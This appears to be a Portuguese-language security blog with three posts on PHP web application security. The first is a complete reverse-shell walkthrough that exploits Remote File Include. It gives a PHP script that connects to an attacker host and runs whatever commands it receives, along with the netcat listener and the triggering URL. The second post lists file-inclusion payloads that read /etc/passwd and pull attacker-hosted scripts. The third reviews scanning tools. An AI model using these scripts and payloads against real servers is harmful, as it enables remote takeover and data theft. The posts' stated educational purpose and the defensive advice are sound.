Shell Reverso em PHP

Continuando mais um tópico relacionado a segurança em aplicativos web, irei demonstrar como um possível atacante pode conseguir acesso de shell no servidor mesmo que tenha um firewall bloqueando conexões de entrada. Utilizando apenas um script php de 10 linhas e o poderoso netcat encontrado na maioria das distribuições gnu/linux.

Para que haja sucesso na exploração da falha, a aplicação deve estar vulnerável a "Remote File Include". Essa falha normalmente é encontrada quando se vê alguma URL do tipo: www.algumsite.com/index.php?pag=ajuda.php. Nesse caso é possível imaginar que o programador recebe o parâmetro pag e utiliza um include para exibir o seu conteúdo. Caso a opção allow_url_fopen do php.ini esteja "on", é possível executar um script php hospedado em outro servidor.

Iremos fazer uma conexão socket partindo do servidor que hospeda a aplicação/site vulnerável com destino a máquina do atacante (www.maquinanetcat.com no nosso exemplo) que está esperando a conexão com netcat. O seguinte script nomeado remote.php será utilizado:

<?php
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($sock, "www.maquinanetcat.com", "30000");
socket_write($sock, "Ok manda bala\n\n", 15);
while ($out = socket_read($sock, 4096)) {
    exec($out, $cmd);
    $cmdresult = implode("\n", $cmd) . "\nphp$ ";
    socket_write($sock, $cmdresult, strlen($cmdresult));
}
socket_close($sock);

Antes de fazer a aplicação vulnerável executar esse script, você deve executar o netcat para ele abrir uma porta e ficar esperando a conexão ser estabelecida:

netcat -l -p 30000 -v

Agora é só fazer a aplicação se conectar fazendo ela executar o script remote.php da seguinte forma:

Abrir no navegador: www.algumsite.com/index.php?pag=http://sitecomscript.com/remote.php

Assim que o navegador chamar a página, o site vulnerável irá chamar o script http://sitecomscript.com/remote.php ao invés do ajuda.php (por exemplo), e ele será executado no server vulnerável. O server que hospeda o script remote.php não deve interpretar php, se não o shell reverso partirá desse server.

Irá aparecer na máquina do atacante a frase "Ok manda bala" indicando que os comandos já podem ser digitados...aí não precisa falar mais nada!

Obs.: Esse post tem o único propósito de exemplificar como aplicações/sites web podem estar vulneráveis a ataques.

Desenvolvimento seguro em PHP - Cuidado com a URL

Irei abordar nesse post um recurso que é muito utilizado em sites e aplicativos web, que é a passagem de parâmetros via GET (na URL).

Sempre vejo em sites esse recurso sendo utilizado de forma incorreta, dando brecha para que usuários com "segundas" intenções ganhem acesso ao servidor.
- Mas como?
Vejamos dois exemplos de URL que podem gerar um problemão:

1. http://sitecombrecha.com/index.php?pagina=home.php
2. http://sitecombrecha.com/login.php?usuario=fulano&senha=abcd1234&perfil=cliente

Na primeira URL o desenvolvedor chama as páginas do site por meio de um include no nome do arquivo que é passado como parâmetro na URL.
Isso possibilita que o atacante consiga visualizar qualquer arquivo do servidor (Desde que o usuário do deamon do web server tenha acesso).
Exemplo para testar a falha:

• http://sitecombrecha.com/index.php?pagina=/etc/fstab
• http://sitecombrecha.com/index.php?pagina=/etc/passwd
• http://sitecombrecha.com/index.php?pagina=/var/log/messages

Se no php.ini a opção allow_url_fopen estiver habilitada, é possível executar arquivos externos da seguinte maneira:

• http://sitecombrecha.com/index.php?pagina=http://atacante.com/destroy.php
• http://sitecombrecha.com/index.php?pagina=ftp://atacante.com/public/destroy.php

O php permite que funções como include, include_once, require, require_once e fopen façam referencias para URL's desde que a opção allow_url_fopen esteja habilitada no php.ini.
Para que o script destroy.php do atacante tenha efeito, o servidor web do atacante não deve interpretar o script php, pois senão o script será executado no servidor do atacante.

Na segunda URL estão sendo passados dados sensíveis para a aplicação, que é o login e senha do usuário. Nesse caso o login e senha do usuário podem ficar gravados no histórico do navegador ou no log do proxy.
Se você fizer um formulário de login em HTML e esquecer de colocar method="post" na tag form ou a escrever errado, por default (w3c) o navegador irá entender method="get", e os dados do login irão passar via GET!!!
Exemplo: Dá uma olhada no histórico do navegador de uma LanHouse, ou dá uma olhada no log do proxy dessa LanHouse. É impressionante a quantidade de sistemas e sites que funcionam dessa forma.
Tabém é possível tentar mudar o parâmetro perfil=cliente para perfil=administrador, quem sabe você não vira adm!.
São pequenas coisas que tornam um sistema vulnerável, e essa foi a minha dica para se pensar mais no que deve ser passado na URL.

Obs.: Esse post foi escrito com o único propósito de exemplificar para desenvolvedores como aplicações podem estar vulneráveis a falhas de segurança.

Segurança em WebApp's

Cada vez mais empresas estão disponibilizando seus sistemas corporativos na Internet, porém muitos ainda não estão preparados no quesito segurança, expondo sistemas com vulnerabilidades de segurança na web.

Para colocar um sistema na internet é preciso antes fazer testes de vulnerabilidade de segurança para se assegurar de que o sistema não será uma porta de entrada para pessoas mal-intencionadas.

Mostro aqui alguma ferramentas que auxiliam na verificação de vulnerabilidades de aplicativos web:

• Grendel-Scan: O Grendel-Scan foi desenvolvido em Java e está preparado para rodar em Windows, Linux e Macintosh. Ele disponibiliza um bom front-end onde é possível fazer várias configurações para adequa-lo ao aplicativo web. Assim como o Burp, Webscarab e Paros ele também funciona como um proxy para interceptação da conexão.
• Burp Suite: O Burp pela descrição do desenvolvedor, é uma plataforma para ataques a aplicativos web. Ele funciona como um proxy onde cada requisição é interceptada e você pode analisar todo o tráfego do protocolo HTTP e alterá-lo antes de enviar a requisição ao servidor da aplicação; facilita muito os testes em aplicações que usam Ajax abusivamente, pois nada irá passar despercebido!
• Tamper Data: O Tamper Data trata-se de um addon para o Firefox que ao ser ativado intercepta todo o tráfego entre a aplicação e o servidor, com a possibilidade de alterar os dados antes de serem enviados.

O site http://sectools.org mantém um Top 100 das ferramentas de segurança de rede, e no endereço http://sectools.org/web-scanners.html, é listado o Top 10 das ferramentas de segurança de aplicativos web.

É importante salientar que as ferrametas apenas auxiliam nos testes, isso quer dizer que o usuário dessas ferramentas deve conhecer as vulnerabilidades e ter um olhar clínico para tal serviço.
t+